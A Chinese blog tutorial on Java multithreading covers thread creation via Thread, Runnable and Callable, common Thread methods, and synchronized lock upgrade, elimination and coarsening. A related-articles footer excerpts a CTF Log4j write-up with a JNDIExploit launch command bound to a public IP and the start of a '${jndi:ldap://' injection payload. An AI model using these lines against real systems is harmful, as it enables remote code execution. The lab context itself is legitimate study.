多线程与高并发编程一

文章目录

  • 一、故事背景
  • 二、知识点主要构成
    • 1、线程的概念
    • 2、启动方式
      • 2.1、继承Thread类 重写run方法
      • 2.2、实现Runnable接口 重写run方法
      • 2.3、实现Callable 重写call方法 配合FuterTask获取线程结果
    • 3、常用方法
      • start()方法:
      • run()方法:
      • sleep(long millis)方法:
      • join()方法:
      • interrupt()方法:
      • isAlive()方法:
    • 4、synchronized
      • 4.1、锁升级
      • 4.2、锁消除
      • 4.3、锁粗化
    • 5、线程同步
  • 三、总结提升

一、故事背景

最近在学习多线程与高并发编程系列的相关知识,这里总结出几点给大家分享一下,

二、知识点主要构成

1、线程的概念

一个程序进入内存被称之为进程;同一个进程内部,有多个任务并发执行的需求,(比如,一边计算,一边接受网络数据,一边刷新页面)线程共享进程的内存空间,但是不共享计算;进程是静态的,程序进入内存,分配对应资源(内存空间),进程进入内存,同时产生一个主线程;线程是动态的,可执行的计算单元。

2、启动方式

2.1、继承Thread类 重写run方法

public class ThreadTest extends Thread{@Overridepublic void run() {for (int i = 0; i < 100; i++) {System.out.println(Thread.currentThread().getName()+"运行了"+i);}}public static void main(String[] args) {ThreadTest threadTest = new ThreadTest();Thread thread1 = new Thread(threadTest);thread1.start();}
}

2.2、实现Runnable接口 重写run方法

public class RunnableTest implements Runnable{@Overridepublic void run() {for (int i = 0; i < 100; i++) {System.out.println(Thread.currentThread().getName()+":hello thead"+i);}}/*** 多线程第二种启动方式:* 1.自己定义一个类去实现 runnable接口* 2.重新run方法--线程执行的代码* 3.创建自己的对象* 4.创建一个Thread类的对象 并开启线程*/public static void main(String[] args) {RunnableTest runnableTest = new RunnableTest();// 线程1Thread t1=new Thread(runnableTest);t1.start();t1.setName("线程1");// 线程2Thread t2=new Thread(runnableTest);t2.start();t2.setName("线程2");}
}

2.3、实现Callable 重写call方法 配合FuterTask获取线程结果

public class CallableTest implements Callable<Integer> {@Overridepublic Integer call() {int sum=0;for (int i = 0; i < 100; i++) {sum=sum+i;}return sum;}/*** 多线程第三种启动方式:* 解决:多线程其他两种没有返回值* 特点:可以获取多线程的运行结果** 1.创建一个类 实现Callable接口* 2.重写 call(有返回值表示结果)* 3.创建任务对象* 4.创建 FutureTask对象(管理多线程结果)* 5.创建Thread类并启动,*/public static void main(String[] args) throws ExecutionException, InterruptedException {CallableTest callableTest = new CallableTest();FutureTask<Integer> futureTask = new FutureTask(callableTest);Thread thread = new Thread(futureTask);thread.start();System.out.println(futureTask.get());}
}

3、常用方法

start()方法:

方法签名:public synchronized void start()
作用:启动线程并调用线程的run()方法。run()方法中定义了线程的实际执行逻辑。

Thread thread = new MyThread(); // MyThread是继承自Thread的类
thread.start();

run()方法:

方法签名:public void run()
作用:定义线程的执行逻辑。需要在子类中重写该方法,以实现自定义的线程行为。
示例:

class MyThread extends Thread {public void run() {// 线程的执行逻辑}
}

sleep(long millis)方法:

方法签名:public static native void sleep(long millis) throws InterruptedException
作用:让当前线程睡眠指定的毫秒数,暂时释放CPU资源。

try {Thread.sleep(1000); // 线程睡眠1秒
} catch (InterruptedException e) {// 处理异常
}

join()方法:

方法签名:public final synchronized void join() throws InterruptedException
作用:等待调用该方法的线程执行完毕后再继续执行当前线程。

Thread thread = new MyThread();
thread.start();
try {thread.join(); // 等待thread线程执行完毕
} catch (InterruptedException e) {// 处理异常
}

interrupt()方法:

方法签名:public void interrupt()
作用:中断线程的执行,会设置线程的中断状态。线程可以通过检查中断状态来自行决定是否中断。

Thread thread = new MyThread();
thread.start();
thread.interrupt(); // 中断thread线程的执行

isAlive()方法:

方法签名:public final native boolean isAlive()
作用:判断线程是否还活着(是否在执行或者等待状态)。

Thread thread = new MyThread();
thread.start();
boolean alive = thread.isAlive(); // 检查thread线程是否还活着

4、synchronized

在JDK 1.6后,Jvm为了提高锁的获取与释放效率对(synchronized )进行了优化,引入了 偏向锁 和 轻量级锁 ,
从此以后锁的状态就有了四种。

4.1、锁升级

在这里插入图片描述
在锁对象的对象头里面有一个 threadid 字段,在第一次访问的时候 threadid 为空,jvm 让其持有偏向锁,并将 threadid 设置为其线程 id,再次进入的时候会先判断 threadid 是否与其线程 id 一致,如果一致则可以直接使用此对象,如果不一致,则升级偏向锁为轻量级锁,通过自旋循环一定次数来获取锁,执行一定次数之后,如果还没有正常获取到要使用的对象,此时就会把锁从轻量级升级为重量级锁。
通俗来说就是:对象刚刚被new出来,没有任何人给他上锁,处于无锁状态,此时来了一个线程,升级为偏向锁,如果没有其他线程和其进行抢锁,那么下次直接就能获取锁,如果有其他线程和其进行争抢,那么就撤销偏向锁,升级为轻量级锁,线程在自己的线程栈中生成LockRecord,用CAS操作将markword设置为指向自己这个线程LR指针,设置成功者得锁,在进行CAS的过程中是一直在占用CPU的资源的,默认在进行10次自选操作之后升级为重量级锁,此时由操作系统来给线程分配锁,分配之后进入锁的队列中进入阻塞状态,此时是不消耗CPU资源的,等CPU什么时候有时间了线程进行执行状态;
在这里插入图片描述

4.2、锁消除

public void add(String str1,String str2){StringBuffer stringBuffer = new StringBuffer();stringBuffer.append(str1).append(str2);
}

StringBuffer是线程安全的,因为它的关键方法都是被synchronized修饰过的,单是看上面的代码,会发现stringBuffer这个引用只会在add方法中调用,不可能被其他线程引用,(因为是局部变量,线程栈私有的)因此stringBuffer是不可能共享的资源,JVM会自动消除StringBuffer对象内部的锁;

4.3、锁粗化

public String test(String str) {int i = 0;StringBuffer stringBuffer = new StringBuffer();while (i < 100) {stringBuffer.append(str);i++;}return stringBuffer.toString();
}

JVM会检测到这样一连串的操作都对同一个对象加锁,while循环内100次执行append,没有锁粗化的就要进行100次加锁、解锁的操作,此时JVM就会将加锁的范围粗化到这一连串操作的外部,while循环体外,使得这一连串操作只需要加一次锁即可;

5、线程同步

Java实现生产者消费者问题

三、总结提升

以往的经验中,只要用到synchronized就以为它已经成为了重量级锁。在jdk1.2之前确实如此,后来发现太重了,消耗了太多操作系统资源,所以对synchronized进行了优化。以后可以直接用,至于锁的力度如何,JVM底层已经做好了我们直接用就行。

如果本篇博客对您有一定的帮助,大家记得留言+点赞+收藏哦。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/80557.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

4.react useContext使用与常见问题

1. 在函数组件实现跨组件通信的方式 2. 注册Context将value传递给子组件let MyContext React.createContext(默认值); <MyContext.Provider value{} > let value useContext(MyContext)<!DOCTYPE html> <html lang"en"><head><meta cha…

JavaScript下载excel文件

文章目录 通过链接下载a标签下载方法注意 获取文件流请求体配置下载文件流 总结 通过链接下载 a标签 对于已知地址的目标文件&#xff0c;前端可以使用 a标签 来直接下载&#xff0c;使用a标签下载使用到两个属性 download&#xff1a;下载文件名href&#xff1a;目标文件下…

HBuilderX学习--运行第一个项目

HBuilderX&#xff0c;简称HX&#xff0c;是轻如编辑器、强如IDE的合体版本&#xff0c;它及轻巧、极速&#xff0c;强大的语法提示&#xff0c;提供比其他工具更优秀的vue支持大幅提升vue开发效率于一身(具体可看官方详细解释)… 一&#xff0c;HBuilderX下载安装 官网地址 …

SpringCloud Ribbon中的7种负载均衡策略

SpringCloud Ribbon中的7种负载均衡策略 Ribbon 介绍负载均衡设置7种负载均衡策略1.轮询策略2.权重策略3.随机策略4.最小连接数策略5.重试策略6.可用性敏感策略7.区域敏感策略 总结 负载均衡通器常有两种实现手段&#xff0c;一种是服务端负载均衡器&#xff0c;另一种是客户端…

Redis是如何保证高可用的?

Redis这种基于内存的关系型数据库我们在选用的时候就是考虑到它的快。而且可以很方便的实现诸如分布式锁、消息队列等功能。 笔者在前一段秋招面试的时候就被提问&#xff0c;“Redis是怎么保证高可用的&#xff1f;” 后续的子问题包含&#xff0c;集群模式是怎么实现的&…

C#与西门子PLC1500的ModbusTcp服务器通信4--搭建ModbusTcp客户端

1、客户端选择 客户端可以是一个程序或一个设备&#xff0c;这里我以C#WINFORM程序来实现客户机与PLC的Modbustcp服务器通信&#xff0c;开发环境是VS2019&#xff0c;.NET Framework版本是4.7.2 2、创建winform程序 3、引入Nmodbus4协议 找到项目&#xff0c;找到引用&…

度加剪辑App的MMKV应用优化实践

作者 | 我爱吃海米 导读 移动端开发中&#xff0c;IO密集问题在很多时候没有得到充足的重视和解决&#xff0c;贸然的把IO导致的卡顿放到异步线程&#xff0c;可能会导致真正的问题被掩盖&#xff0c;前人挖坑后人踩。其实首先要想的是&#xff0c;数据存储方式是否合理&#x…

Qt下拉菜单

1&#xff0c;QComboBox 2&#xff0c;setMenu()---设置下拉菜单 AI对话未来丨智能写作对话: setMenu()是QWidget类的一个成员函数&#xff0c;在Qt中用于将一个菜单作为一个控件的下拉菜单设置。具体来说&#xff0c;它会把相应的菜单对象与该控件关联&#xff0c;并在控件上…

【CSS 画个梯形】

使用clip-path: polygon画梯形 clip-path: polygon使用方式如下&#xff1a; 效果实现 clip-path: polygon 是CSS的属性之一&#xff0c;用于裁剪元素的形状。它可以通过定义一个具有多边形顶点坐标的值来创建一个多边形的裁剪区域&#xff0c;从而实现元素的非矩形裁剪效果。…

电路学习+硬件每日学习十个知识点(39)23.8.19 (电路模型,电感,电容)

文章目录 1.电力线路和通信线路2.实际电路的元器件3.集总参数元件&#xff08;类似于物理的质点&#xff09;4.电子电路习惯画法5.电感元件6.电容元件 1.电力线路和通信线路 电路的基本功能可分为两大类&#xff1a;一类电路进行能量的传输、分配和转换&#xff0c;如电力线路…

openresty安装与网站发布

文章目录 安装依赖下载安装包解压安装包安装启动nginx配置环境变量配置开机启动发布静态网站 OpenResty 是一个基于 Nginx 与 Lua 的高性能 Web 平台&#xff0c;其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动…

ctfshow-Log4j复现-log4j复现

1、买VPS&#xff0c;打开mobax进行ssh连接&#xff0c;开两个终端 一个终端开启监听 另一个终端进入JNDIExploit-1.2-SNAPSHOT.jar所在的目录jndiexploit执行下面命令 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 116.62.152.84生成payload 构造payload ${jndi:ldap://…